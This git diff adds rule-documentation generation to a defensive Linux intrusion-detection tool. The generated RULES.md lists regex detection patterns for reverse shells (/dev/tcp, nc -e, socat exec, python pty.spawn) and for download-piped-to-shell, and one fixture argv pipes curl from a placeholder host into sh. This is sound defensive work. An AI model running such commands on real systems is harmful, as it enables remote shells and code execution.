diff --git a/CLAUDE.md b/CLAUDE.md index 6047e2e..72e3466 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -57,6 +57,9 @@ Implemented investigation/response state: `response-audit.log`. Dashboard/API plan previews do not write artifacts. - `rules list/show/test` exposes built-in and configured event rules and lets operators test exec/syscall event JSON fixtures against the rule engines. +- `rules docs` emits generated Markdown rule docs; `docs/RULES.md` is the + checked-in built-in rule reference with match fields, false positives, and + drill guidance. - IPS behavior is currently explicit workflow: posture hardening plus reviewed dry-run containment actions. There is no automatic inline blocking or silent host mutation yet. @@ -65,7 +68,8 @@ Near-term open work: - Audited `--apply` response execution with tests and rollback notes. - Baseline reconciliation for legitimate FIM/package/listener/SUID drift. -- Generated rule documentation from source defaults and red-team drill mapping. +- Fixture or red-team drill coverage for every built-in SID, including + event-only and future correlation SIDs. - More event sources and correlation across exec, network, persistence, FIM, and rootcheck signals. - Stable schema compatibility tests for alerts, incidents, status, response diff --git a/README.md b/README.md index e9ea2ef..9bffc51 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,8 @@ Project docs: workflow, baseline hygiene, and evidence export. - [IR runbooks](docs/RUNBOOKS.md) — confirm/preserve/contain/recover playbooks per alert: reverse shells, persistence, trojaned binaries, rootkits, tampering. +- [Rule reference](docs/RULES.md) — generated event-rule documentation: SID, + signature, classtype, match fields, expected false positives, and drills. > **Two implementations, on purpose.** The project began as a bash prototype > (`src/sentinel.sh`, kept as the regression **oracle**) and was re-architected @@ -103,6 +105,7 @@ They can inspect and test the active event rule set with: enodia-sentinel rules list enodia-sentinel rules show 100002 enodia-sentinel rules test event.json +enodia-sentinel rules docs ``` The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the diff --git a/docs/COMMAND_REFERENCE.md b/docs/COMMAND_REFERENCE.md index 0e177de..9c74ca2 100644 --- a/docs/COMMAND_REFERENCE.md +++ b/docs/COMMAND_REFERENCE.md @@ -74,6 +74,7 @@ enodia-sentinel rules show enodia-sentinel rules show --json enodia-sentinel rules test enodia-sentinel rules test --json +enodia-sentinel rules docs ``` Inspects and tests event-driven detection rules without reading source code. @@ -81,7 +82,9 @@ Inspects and tests event-driven detection rules without reading source code. from `exec_rules_file`. `rules show ` prints the rule metadata and match conditions. `rules test ` loads an exec or syscall event JSON file, runs the matching rule engine, and prints any alerts that would fire. Use `-` -instead of a path to read the event JSON from stdin. +instead of a path to read the event JSON from stdin. `rules docs` emits Markdown +rule documentation from the active rule metadata; the built-in snapshot lives in +[RULES.md](RULES.md). Exec event JSON shape: diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 08d18c8..dd8b71f 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -160,7 +160,7 @@ turning Sentinel into a noisy rules dump. configured rules. - ✅ Add `enodia-sentinel rules test ` so operators can validate custom event rules against captured or fixture events. -- Generate rule documentation from source defaults: SID, signature, classtype, +- ✅ Generate rule documentation from source defaults: SID, signature, classtype, event type, match fields, expected false positives, and drill coverage. - Require a fixture or safe red-team drill for every built-in SID, including event-only and correlation SIDs. diff --git a/docs/RULES.md b/docs/RULES.md new file mode 100644 index 0000000..a1c3e27 --- /dev/null +++ b/docs/RULES.md @@ -0,0 +1,200 @@ +# Enodia Sentinel Event Rule Reference + +Generated from the active exec/syscall rule defaults plus any configured `exec_rules_file` entries. + +Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally. + +## SID 100001: Program executed from a world-writable directory + +- Event: `exec` +- Signature: `exec_rule.fileless-execution` +- Classtype: `fileless-execution` +- Severity: `CRITICAL` +- Origin: `builtin` + +Match fields: +- `path_prefixes`: `/tmp/`, `/dev/shm/`, `/var/tmp/` + +Expected false positives: +- Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`. +- One-shot administrative diagnostics copied into a writable directory. + +Drill or fixture: `sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled. + +## SID 100002: Reverse-shell command pattern in execve arguments + +- Event: `exec` +- Signature: `exec_rule.c2-reverse-shell` +- Classtype: `c2-reverse-shell` +- Severity: `CRITICAL` +- Origin: `builtin` + +Match fields: +- `argv_regex`: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b` + +Expected false positives: +- Security training labs or safe self-tests that intentionally include reverse-shell command text. +- Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv. + +Drill or fixture: `sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline. + +## SID 100003: Web/DB service spawned a shell or interpreter (possible RCE/webshell) + +- Event: `exec` +- Signature: `exec_rule.web-rce` +- Classtype: `web-rce` +- Severity: `CRITICAL` +- Origin: `builtin` + +Match fields: +- `exec_comm`: `ash`, `bash`, `dash`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `zsh` +- `parent_comm`: `apache`, `apache2`, `caddy`, `catalina`, `httpd`, `lighttpd`, `mariadbd`, `mysqld`, `nginx`, `node`, `nodejs`, `php`, `php-fpm`, `php7`, `php8`, `postgres`, `redis-server`, `tomcat` + +Expected false positives: +- Legitimate web applications invoking maintenance scripts through shell wrappers. +- Database or web service containers whose entrypoint intentionally spawns an interpreter. + +Drill or fixture: Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter. + +## SID 100004: Download piped directly to a shell (ingress tool transfer) + +- Event: `exec` +- Signature: `exec_rule.ingress-tool-transfer` +- Classtype: `ingress-tool-transfer` +- Severity: `HIGH` +- Origin: `builtin` + +Match fields: +- `argv_regex`: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b` + +Expected false positives: +- Bootstrap scripts that intentionally pipe downloaded install content into a shell. +- Developer setup tooling run interactively during provisioning. + +Drill or fixture: Use `rules test` with argv like `curl http://example.invalid/x | sh`. + +## SID 100060: mprotect made memory writable and executable + +- Event: `syscall` +- Signature: `syscall_rule.memory-obfuscation` +- Classtype: `memory-obfuscation` +- Severity: `CRITICAL` +- Origin: `builtin` + +Match fields: +- `syscalls`: `mprotect` +- `predicate`: `built-in predicate` + +Expected false positives: +- JIT runtimes or emulators that make pages writable and executable. +- Security tooling that deliberately tests W^X policy. + +Drill or fixture: Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`. + +## SID 100061: mmap requested writable and executable memory + +- Event: `syscall` +- Signature: `syscall_rule.memory-obfuscation` +- Classtype: `memory-obfuscation` +- Severity: `CRITICAL` +- Origin: `builtin` + +Match fields: +- `syscalls`: `mmap` +- `predicate`: `built-in predicate` + +Expected false positives: +- JIT runtimes, emulators, or language VMs that allocate RWX memory. +- Compatibility layers that request executable writable mappings. + +Drill or fixture: Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions. + +## SID 100062: memfd_create used for anonymous in-memory file staging + +- Event: `syscall` +- Signature: `syscall_rule.fileless-execution` +- Classtype: `fileless-execution` +- Severity: `MEDIUM` +- Origin: `builtin` + +Match fields: +- `syscalls`: `memfd_create` +- `predicate`: `built-in predicate` + +Expected false positives: +- Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files. +- Container or IPC frameworks using memfd as a transport primitive. + +Drill or fixture: Use `rules test` with syscall `memfd_create`; include `text` to document the captured name. + +## SID 100063: ptrace anti-debug or attach operation observed + +- Event: `syscall` +- Signature: `syscall_rule.anti-analysis` +- Classtype: `anti-analysis` +- Severity: `HIGH` +- Origin: `builtin` + +Match fields: +- `syscalls`: `ptrace` +- `predicate`: `built-in predicate` + +Expected false positives: +- Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes. +- Developer sessions running `strace`, `gdb`, or similar tracing tools. + +Drill or fixture: Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`). + +## SID 100064: seccomp sandboxing call observed (possible anti-analysis hardening) + +- Event: `syscall` +- Signature: `syscall_rule.anti-analysis` +- Classtype: `anti-analysis` +- Severity: `MEDIUM` +- Origin: `builtin` + +Match fields: +- `syscalls`: `prctl`, `seccomp` +- `predicate`: `built-in predicate` + +Expected false positives: +- Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening. +- Security test harnesses validating seccomp policy. + +Drill or fixture: Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`). + +## SID 100065: cross-process memory read/write syscall observed + +- Event: `syscall` +- Signature: `syscall_rule.credential-access` +- Classtype: `credential-access` +- Severity: `HIGH` +- Origin: `builtin` + +Match fields: +- `syscalls`: `process_vm_readv`, `process_vm_writev` +- `predicate`: `built-in predicate` + +Expected false positives: +- Debuggers, profilers, memory scanners, and EDR tools inspecting another process. +- Backup or checkpoint tooling that reads process memory intentionally. + +Drill or fixture: Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`. + +## SID 100066: memory locking syscall observed (possible protected in-memory payload) + +- Event: `syscall` +- Signature: `syscall_rule.memory-obfuscation` +- Classtype: `memory-obfuscation` +- Severity: `MEDIUM` +- Origin: `builtin` + +Match fields: +- `syscalls`: `mlock`, `mlock2`, `mlockall` +- `predicate`: `built-in predicate` + +Expected false positives: +- Databases, crypto agents, and credential stores locking sensitive memory. +- Realtime or performance-sensitive services using `mlock` intentionally. + +Drill or fixture: Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`. diff --git a/enodia_sentinel/cli.py b/enodia_sentinel/cli.py index 8c33f6d..64e71c7 100644 --- a/enodia_sentinel/cli.py +++ b/enodia_sentinel/cli.py @@ -62,9 +62,9 @@ def main(argv: list[str] | None = None) -> int: sub.add_parser("baseline", help="rebuild listener/SUID baselines") sub.add_parser("list-detectors", help="list available detectors") rules = sub.add_parser("rules", - help="list/show/test built-in and configured rules") + help="list/show/test/docs built-in and configured rules") rules.add_argument("action", nargs="?", default="list", - choices=["list", "show", "test"], + choices=["list", "show", "test", "docs"], help="rule action (default: list)") rules.add_argument("target", nargs="?", help="sid for show, event JSON path for test, or '-'") @@ -170,6 +170,10 @@ def _cmd_rules(cfg: Config, action: str, target: str | None, from . import ruleops + if action == "docs": + print(ruleops.render_markdown(cfg), end="") + return 0 + if action == "list": rules = ruleops.list_rules(cfg) if as_json: diff --git a/enodia_sentinel/ruleops.py b/enodia_sentinel/ruleops.py index 94bf30e..e7863a3 100644 --- a/enodia_sentinel/ruleops.py +++ b/enodia_sentinel/ruleops.py @@ -40,6 +40,51 @@ def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None: return None +def render_markdown(cfg: Config) -> str: + """Render active event-rule metadata as operator documentation.""" + lines = [ + "# Enodia Sentinel Event Rule Reference", + "", + "Generated from the active exec/syscall rule defaults plus any configured " + "`exec_rules_file` entries.", + "", + "Use `enodia-sentinel rules list/show/test` to inspect rules and validate " + "event fixtures locally.", + "", + ] + for rule in list_rules(cfg): + doc = _RULE_DOCS.get(rule["sid"], {}) + lines.extend([ + f"## SID {rule['sid']}: {rule['msg']}", + "", + f"- Event: `{rule['event']}`", + f"- Signature: `{rule['signature']}`", + f"- Classtype: `{rule['classtype']}`", + f"- Severity: `{rule['severity']}`", + f"- Origin: `{rule['origin']}`", + "", + "Match fields:", + ]) + conditions = rule.get("conditions", {}) + if conditions: + for key, value in conditions.items(): + lines.append(f"- `{key}`: {_format_condition(value)}") + else: + lines.append("- none") + lines.extend([ + "", + "Expected false positives:", + ]) + for fp in doc.get("false_positives", _default_false_positives(rule)): + lines.append(f"- {fp}") + lines.extend([ + "", + f"Drill or fixture: {doc.get('drill', _default_drill(rule))}", + "", + ]) + return "\n".join(lines).rstrip() + "\n" + + def load_event_json(path: str) -> dict[str, Any]: if path == "-": import sys @@ -96,6 +141,105 @@ def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]: } +_RULE_DOCS: dict[int, dict[str, Any]] = { + 100001: { + "false_positives": [ + "Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.", + "One-shot administrative diagnostics copied into a writable directory.", + ], + "drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.", + }, + 100002: { + "false_positives": [ + "Security training labs or safe self-tests that intentionally include reverse-shell command text.", + "Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.", + ], + "drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.", + }, + 100003: { + "false_positives": [ + "Legitimate web applications invoking maintenance scripts through shell wrappers.", + "Database or web service containers whose entrypoint intentionally spawns an interpreter.", + ], + "drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.", + }, + 100004: { + "false_positives": [ + "Bootstrap scripts that intentionally pipe downloaded install content into a shell.", + "Developer setup tooling run interactively during provisioning.", + ], + "drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.", + }, + 100060: { + "false_positives": [ + "JIT runtimes or emulators that make pages writable and executable.", + "Security tooling that deliberately tests W^X policy.", + ], + "drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.", + }, + 100061: { + "false_positives": [ + "JIT runtimes, emulators, or language VMs that allocate RWX memory.", + "Compatibility layers that request executable writable mappings.", + ], + "drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.", + }, + 100062: { + "false_positives": [ + "Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.", + "Container or IPC frameworks using memfd as a transport primitive.", + ], + "drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.", + }, + 100063: { + "false_positives": [ + "Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.", + "Developer sessions running `strace`, `gdb`, or similar tracing tools.", + ], + "drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).", + }, + 100064: { + "false_positives": [ + "Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.", + "Security test harnesses validating seccomp policy.", + ], + "drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).", + }, + 100065: { + "false_positives": [ + "Debuggers, profilers, memory scanners, and EDR tools inspecting another process.", + "Backup or checkpoint tooling that reads process memory intentionally.", + ], + "drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.", + }, + 100066: { + "false_positives": [ + "Databases, crypto agents, and credential stores locking sensitive memory.", + "Realtime or performance-sensitive services using `mlock` intentionally.", + ], + "drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.", + }, +} + + +def _format_condition(value: Any) -> str: + if isinstance(value, list): + return ", ".join(f"`{v}`" for v in value) or "`[]`" + return f"`{value}`" + + +def _default_false_positives(rule: dict[str, Any]) -> list[str]: + if rule.get("origin") == "configured": + return ["Operator supplied rule; document expected benign matches beside the TOML rule."] + return ["No documented benign case yet; validate with `rules test` before tuning."] + + +def _default_drill(rule: dict[str, Any]) -> str: + if rule.get("origin") == "configured": + return "Use `enodia-sentinel rules test ` with a fixture that should match the configured rule." + return "Use `enodia-sentinel rules test ` with a representative fixture." + + def _event_kind(event: dict[str, Any]) -> str: explicit = str(event.get("event") or event.get("type") or "").lower() if explicit in {"exec", "execve"}: diff --git a/tests/test_ruleops.py b/tests/test_ruleops.py index 8a8b188..fab8729 100644 --- a/tests/test_ruleops.py +++ b/tests/test_ruleops.py @@ -66,6 +66,14 @@ exec_comm = ["id"] alerts = ruleops.test_event(cfg, event) self.assertIn(100060, {a.sid for a in alerts}) + def test_render_markdown_documents_rules(self): + text = ruleops.render_markdown(Config()) + self.assertIn("# Enodia Sentinel Event Rule Reference", text) + self.assertIn("## SID 100002:", text) + self.assertIn("Expected false positives:", text) + self.assertIn("Drill or fixture:", text) + self.assertIn("`argv_regex`", text) + class TestRulesCli(unittest.TestCase): def setUp(self): @@ -123,6 +131,13 @@ class TestRulesCli(unittest.TestCase): self.assertEqual(code, 1) self.assertIn("No rules matched", out) + def test_docs_text(self): + code, out = self._run("docs") + self.assertEqual(code, 0) + self.assertIn("Enodia Sentinel Event Rule Reference", out) + self.assertIn("SID 100060", out) + self.assertIn("Expected false positives", out) + if __name__ == "__main__": unittest.main()